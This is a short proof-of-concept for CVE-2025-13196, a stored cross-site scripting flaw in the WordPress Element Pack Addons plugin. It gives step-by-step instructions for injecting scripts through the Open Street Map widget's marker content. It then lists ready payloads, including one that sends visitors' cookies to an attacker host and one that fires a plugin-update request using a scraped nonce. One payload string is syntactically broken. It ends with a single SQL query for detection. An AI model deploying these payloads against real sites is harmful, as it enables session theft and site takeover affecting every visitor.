CVE-2025-13196

// CVE-2025-13196 PoC - Element Pack Addons Stored XSS // Target: WordPress with Element Pack Addons plugin <= 8.3.4 // Step 1: Authenticate as Contributor or higher role // Step 2: Edit any page using Elementor page builder // Step 3: Add 'Open Street Map' widget to the page // Step 4: In marker content parameter, inject: // Malicious payload examples: const payloads = [ '<script>alert(document.cookie)</script>', '<img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>', '<svg onload=fetch("/wp-admin/admin-ajax.php?action=update_plugin&plugin=element-pack&nonce="+document.querySelector("#_wpnonce").value,{method:"POST",body:"...")})>', '<iframe src="javascript:alert(document.domain)">' ]; // Step 5: Save and publish the page // Step 6: Any user visiting the page will execute the injected script // Detection: Search for markers with XSS patterns in database // SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script%' OR meta_value LIKE '%onerror=%';

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